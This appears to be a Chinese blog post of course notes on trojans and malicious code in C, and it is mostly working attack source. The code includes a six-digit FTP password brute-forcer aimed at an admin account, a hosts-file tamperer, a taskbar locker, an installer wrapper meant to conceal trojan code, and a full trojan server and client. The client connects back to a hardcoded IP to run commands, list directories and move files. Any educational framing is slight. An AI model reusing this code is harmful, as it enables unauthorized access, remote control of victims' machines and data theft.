传智播客c/c++公开课学习笔记--C语言与木马恶意代码分析和360安全防护揭秘

黑客代码分析与预防 笔记


【课程简介】

C/C++语言是除了汇编之外,最接近底层的计算机语言,目前windows,linux,iOS,Android等主流操作系统都是用C/C++编写的,所以很多病毒、木马也都是用C/C++实现的。课程的目的就是通过C语言揭秘木马和各种远程控制软件的实现原理以及如何防护。 

【课程知识点】

1、木马入侵系统的方式;

2、木马入侵到宿主目标后的关键行为分析;

3、可信任端口以及端口扫描技术;

4、远程控制的实现代码实现;

5、恶意代码中使用TCP、UDP协议与防火墙穿越技术;

6、360网络安全防护的实现原理。


穷举密码暴力破解ftp账户的密码:

#include <stdio.h>
#include <string.h>
#define CONTENT "open %s\nuser\n%s\n%s\nbye\n"
int write_file(const char *ip, const char *user, const char *passwd)
{
	FILE *p = fopen("a.txt", "w");
	if (p)
	{
		char buf[1024] = { 0 };
		sprintf(buf, CONTENT, ip, user, passwd);
		fputs(buf, p);
		fclose(p);
		return 0;//如果成功,返回0
	}
	return -1;//失败,-1
}
int main()
{
	int i;
	for (i = 0; i < 1000000; i++)//假设密码全部由数字组成
	{
		char pass[100] = { 0 };
		sprintf(pass, "%06d", i);//格式化为字符串
		if (write_file("192.168.101.138", "admin", pass) == 0)
		{
			FILE *p = _popen("ftp -n -s:a.txt", "r");
			while (!feof(p))
			{
				char buf[1024] = { 0 };
				fgets(buf, sizeof(buf), p);
				if (strncmp(buf, "230", 3) == 0)//根据返回值进行判断 230 代表成功, 
				{
					printf("pass:%s\n", pass);
					return 0;
				}
			}
			_pclose(p);
		}
	}
	return 0;
}


功能函数:

锁死任务栏

// lockmask.cpp : 定义应用程序的入口点。
//


#include "stdafx.h"
#include "lockmask.h"

// 功能函数 
/*
修改应用程序图标
vs:替换工程名.ico文件
QT:a.找到一张图片.ico,名字改为myapp.ico
b.创建文本文档myapp.rc。 内部添加 IDI_ICON1  ICON DISCARDABLE "myapp.ico"
c. 在myapp.pro文件最后加上RC_FILE=myapp.rc, 重新生成之后,就修改成功了;
*/

/*
vs2013辩词额不需要依赖库,同时兼容xp的项目
项目--属性--配置属性--常规--平台工具集--windwos xp
项目--属性--配置属性--c/c++ --代码生成--运行库--多线程(/MT).
*/

#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <Windows.h>
#include <ShellAPI.h>

#pragma warning(disable:4996)

void getWinVersion()//得到win版本
{
	OSVERSIONINFO a;
	a.dwOSVersionInfoSize = sizeof(a);
	GetVersionEx(&a);
}

int setHosts(const char *IP, const char *domain)//修改hosts文件
{
	char s[100] = { 0 };
	GetSystemDirectoryA(s, sizeof(s));//得到windows系统目录
	char path[100] = { 0 };
	sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts");
	char content[1024] = { 0 };
	sprintf(content, "%s %s", IP, domain);
	FILE *p = fopen(path, "a");//打开hosts文件
	if (p)
	{
		fputs(content, p);
		fclose(p);
		return 0;
	}
	return -1;
}

HWND getTask()//得到任务栏句柄
{
	typedef HWND(WINAPI *PROCGETTASKMANWND)(void);//什么一个HWND func();类型的函数指针
	PROCGETTASKMANWND GetTaskmanWindow;//定义函数指针变量
	HMODULE hUser32 = GetModuleHandleA("user32");//引用user32.dll库
	if (!hUser32)
		return NULL;
	GetTaskmanWindow = (PROCGETTASKMANWND)GetProcAddress(hUser32, "GetTaskmanWindow");
	if (!GetTaskmanWindow)
		return NULL;
	HWND h = GetTaskmanWindow();
	return GetParent(GetParent(h));
}

int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPTSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{
	HWND h = getTask();
	//EnableWindow(h, false);//将任务栏设置为不可用
	EnableWindow(h, true);//将任务栏设置为可用
	return 0;
}

安装程序加壳

// setupShell.cpp : 定义应用程序的入口点。
//

#include "stdafx.h"
#include "setupShell.h"

int SetupShell()//setup.exe安装程序加壳
{
	STARTUPINFO si;
	memset(&si, 0, sizeof(STARTUPINFO));
	si.cb = sizeof(STARTUPINFO);
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	PROCESS_INFORMATION pi;
	memset(&pi, 0, sizeof(PROCESS_INFORMATION));
	if (CreateProcess(TEXT("setup.dat"),
		NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
	{
		CloseHandle(pi.hThread);
		CloseHandle(pi.hProcess);
		return 0;
	}
	return -1;
}

int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPTSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{
	//这里是木马程序的代码


	//

	SetupShell();

	return 0;
}



木马病毒攻击原理演示

传智播客c/c++公开课学习笔记--C语言与木马恶意代码分析和360安全防护揭秘

木马服务端:

//gcc -o server server.c -L. -lmysock 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include "mysock.h"

//8192是8k
#define BUFSIZE 8192

void getfile(int sock, const char *buf)
{
	char srcFile[256] = { 0 };
	char destFile[256] = { 0 };
	//得到用户输入的源文件名和目标文件名
	sscanf(buf, "get %s %s", srcFile, destFile);
	char cmd[1024] = { 0 };
	sprintf(cmd, "get %s", srcFile);
	tcp_send(sock, cmd, strlen(cmd));//将源文件名发
	memset(cmd, 0, sizeof(cmd));
	tcp_recv(sock, cmd, sizeof(cmd));//接收文件大小,格式为字符串
	int len = 0;
	sscanf(cmd, "%d", &len);//将文件大小转化为数字

	//如果文件大于0个字节
	if (len > 0)
	{
		FILE *p = fopen(destFile, "wb");//用写的方式打开目标文件
		if (p)
		{
			char *content = (char *)malloc(len);
			memset(content, 0, len);
			//给目标回复OK,表示已经准备好,可以接收文件内容了
			tcp_send(sock, "OK", 2);

			//根据len的大小,循环接收数据,直到收到了len字节个数据,就停止接收
			int rc = 0;
			while (rc < len)
			{
				int aa = tcp_recv(sock, &content[rc], len - rc);
				rc += aa;
			}
			
			//将收到的内容写入文件
			fwrite(content, len, 1, p);
			free(content);
			fclose(p);
			printf("success\n");
		}
		else
		{
			printf("open %s fail\n", destFile);
		}
	}
}

void putfile(int sock, const char *buf)
{
	char srcFile[256] = { 0 };
	char destFile[256] = { 0 };
	//得到用户输入的源文件名和目标文件名
	sscanf(buf, "put %s %s", srcFile, destFile);

	//用读的方式打开源文件
	FILE *p = fopen(srcFile, "rb");
	if (p)
	{
		char cmd[1024] = { 0 };
		int len = fseek(p, 0, SEEK_END);
		len = ftell(p);//得到文件长度
		if (len > 0)
		{	
			//格式化字符串为put 目标文件名 文件大小
			sprintf(cmd, "put %s %d", destFile, len);
			//发送命令
			tcp_send(sock, cmd, strlen(cmd));
			memset(cmd, 0, sizeof(cmd));
			//接收回复
			tcp_recv(sock, cmd, sizeof(cmd));
			//如果回复内容为OK,代表对方已经做好接收文件的准备
			if (strcmp(cmd, "OK") == 0)
			{
				//根据文件大小,在堆中开启一个内容buffer
				char *content = (char *)malloc(len);

				//回到文件开始位置
				fseek(p, 0, SEEK_SET);
				//将文件内容一下读入content
				fread(content, len, 1, p);

				//发送文件内容,如果文件内容很大,那么循环发送,直到发送完毕
				int rc = 0;
				while (rc < len)
				{
					int aa = tcp_send(sock, &content[rc], len - rc);
					rc += aa;
				}
				
				//释放堆内存内容
				free(content);
			}
		}
		fclose(p);
		memset(cmd, 0, sizeof(cmd));
		tcp_recv(sock, cmd, sizeof(cmd));
		printf("%s\n", cmd);
	}
	else
	{
		printf("%s open fail, %s\n", srcFile, strerror(errno));
	}
}

int main()
{
	//建立一个TCP socket
	int server_sock = create_socket(1);
	if (server_sock == -1)
	{
		printf("create error %s\n", strerror(errno));
		return 0;
	}

	//将socket绑定到8080端口
	int rc = bind_socket(server_sock, 8080);
	if (rc == -1)
	{
		printf("bind error %s\n", strerror(errno));
		return 0;
	}

	//开始listen
	rc = tcp_listen(server_sock);
	if (rc == -1)
	{
		printf("listen error %s\n", strerror(errno));
		return 0;
	}


	char IP[100] = { 0 };
	//开始等待,直到有连接,返回远程连接的socket,IP为远程IP地址
	int sock = tcp_accept(server_sock, IP);
	if (sock <= 0)
	{
		printf("accept error %s\n", strerror(errno));

	}
	printf("from %s\n", IP);
	char *buf = (char *)malloc(BUFSIZE);
	while (1)
	{
		memset(buf, 0, BUFSIZE);
		fgets(buf, BUFSIZE, stdin);
		buf[strlen(buf) - 1] = 0;//去掉字符串最后的回车键

		//如果用户输入的为ls或者exec执行以下代码
		if ((strncmp(buf, "ls ", 3) == 0) || (strncmp(buf, "exec ", 5) == 0))
		{
			tcp_send(sock, buf, strlen(buf));//发送指令
			memset(buf, 0, BUFSIZE);
			tcp_recv(sock, buf, BUFSIZE);//接收返回结果
			printf("%s\n", buf);//打印返回结果
		}
		else if (strncmp(buf, "get ", 4) == 0)//用户输入get命令
		{
			getfile(sock, buf);
		}
		else if (strncmp(buf, "put ", 4) == 0)//用户输入put命令
		{
			putfile(sock, buf);
		}
		else
		{
			printf("input command error,please input again\n");
		}
	}

	free(buf);
	close_socket(sock);//关闭连接

	return 0;
}

木马客户端:

// file.cpp : 定义应用程序的入口点。
#include "stdafx.h"
#include "file.h"
#include "mysock.h"
#include <stdio.h>

#pragma comment(lib, "mysock.lib")
#pragma warning(disable:4996)

//8192是8k
#define BUFSIZE 8192

int exec(int sock, const char *cmd)
{
	//执行指定的程序
	int rc = WinExec(cmd, SW_NORMAL);
	if (rc > 31)
	{
		//执行成功,回复success
		tcp_send(sock, "success", 7);
		return 0;
	}
	else
	{
		//执行失败,回复fail
		tcp_send(sock, "fail", 4);
		return -1;
	}
}

int ls(int sock, const char *dir)
{
	char szFile[256] = { 0 };
	strcpy(szFile, dir);

	if (szFile[strlen(szFile) - 1] == '\\')
	{
		strcat(szFile, "*.*");
	}
	else
	{
		strcat(szFile, "\\*.*");
	}

	//得到指定目录下的所有文件
	WIN32_FIND_DATAA FindFileData;
	HANDLE hFind = FindFirstFileA(szFile, &FindFileData);
	if (hFind == INVALID_HANDLE_VALUE)
	{
		char tmp[1024] = { 0 };
		sprintf(tmp, "open %s fail", dir);
		tcp_send(sock, tmp, strlen(tmp));
		return -1;
	}
	char *buf = (char *)malloc(BUFSIZE);
	memset(buf, 0, BUFSIZE);
	//循环得到每个文件,将结果放入buf
	while (1)
	{
		memset(szFile, 0, sizeof(szFile));
		if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
		{
			sprintf(szFile, "%s\t<DIR>\n", FindFileData.cFileName);
		}
		else
		{
			sprintf(szFile, "%s\n", FindFileData.cFileName);;
		}
		strcat(buf, szFile);
		if (!FindNextFileA(hFind, &FindFileData))
			break;
	}
	//将得到的文件发送出去
	tcp_send(sock, buf, strlen(buf));

	free(buf);

	FindClose(hFind);
	return 0;
}

int put(int sock, const char *cmd)
{
	char file[256] = { 0 };
	int len = 0;

	//得到文件名和文件长度
	sscanf(cmd, "%s %d", file, &len);

	//用写方式打开文件
	FILE *p = fopen(file, "wb");
	if (p && len)
	{
		//根据文件大小,在堆中分配一块内存
		char *buf = (char *)malloc(len);//在堆里面开辟一个内存
		memset(buf, 0, len);

		//回复OK,表示已经做好接收文件的准备
		tcp_send(sock, "OK", 2);

		//接收数据,如果一次接收不完,循环接收
		int rc = 0;
		while (rc < len)
		{
			int aa = tcp_recv(sock, &buf[rc], len - rc);
			rc += aa;
		}

		//将收到的内容写入文件
		fwrite(buf, len, 1, p);

		free(buf);
		fclose(p);
		//回复success,表示成功接收,并写入文件
		tcp_send(sock, "success", 7);
		return 0;
	}
	else
	{
		tcp_send(sock, "fail", 4);
		return -1;
	}
}

int get(int sock, const char *file)
{
	//用读方式打开文件
	FILE *p = fopen(file, "rb");
	if (p)
	{
		int len = fseek(p, 0, SEEK_END);
		len = ftell(p);//得到文件长度
		char cmd[100] = { 0 };
		sprintf(cmd, "%d", len);
		//发送文件名和文件长度
		tcp_send(sock, cmd, strlen(cmd));
		memset(cmd, 0, sizeof(cmd));
		//接收数据
		tcp_recv(sock, cmd, sizeof(cmd));
		//如果接收到的是OK,那么开始发送数据
		if (strcmp(cmd, "OK") == 0)
		{
			//根据文件大小,在内存堆中分配内存
			char *buf = (char*)malloc(len);
			memset(buf, 0, len);
			//回到文件开始位置
			fseek(p, 0, SEEK_SET);
			//将文件内容读取到buf中
			fread(buf, len, 1, p);

			//发送文件内容,如果一次发送不完,循环发送
			int rc = 0;
			while (rc < len)
			{
				int aa = tcp_send(sock, &buf[rc], len - rc);
				rc += aa;
			}
			free(buf);
		}
		fclose(p);
		return 0;
	}
	else
	{
		//如果文件打开失败,回复字符0
		tcp_send(sock, "0", 1);
		return -1;
	}
}

int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
	_In_opt_ HINSTANCE hPrevInstance,
	_In_ LPTSTR    lpCmdLine,
	_In_ int       nCmdShow)
{
	init_socket();//初始化网络库

	//建立一个TCP socket
	int sock = create_socket(1);
	if (sock == -1)
	{
		return 0;
	}

	//连接到目标服务器
	int rc = tcp_connect(sock, "192.168.1.202", 8080);
	if (rc == -1)
	{
		return 0;
	}

	char *buf = (char *)malloc(BUFSIZE);

	//循环从目标服务器接收指令
	while (1)
	{
		memset(buf, 0, BUFSIZE);
		int rc = tcp_recv(sock, buf, BUFSIZE);//接收来自与服务端的消息
		if (rc <= 0)
			break;

		//接收到exec指令
		if (strncmp(buf, "exec ", 5) == 0)
		{
			exec(sock, &buf[5]);
		}

		//接收到ls指令
		if (strncmp(buf, "ls ", 3) == 0)
		{
			ls(sock, &buf[3]);
		}

		//接收到put指令
		if (strncmp(buf, "put ", 4) == 0)
		{
			put(sock, &buf[4]);
		}

		//接收到get指令
		if (strncmp(buf, "get ", 4) == 0)
		{
			get(sock, &buf[4]);
		}
	}

	free(buf);
	close_socket(sock);
	free_socket();

	return 0;
}



上一篇:《数据结构与抽象:Java语言描述(原书第4版)》一2.1.4 让实现安全


下一篇:在 Go 语言中增强 Cookie 的安全性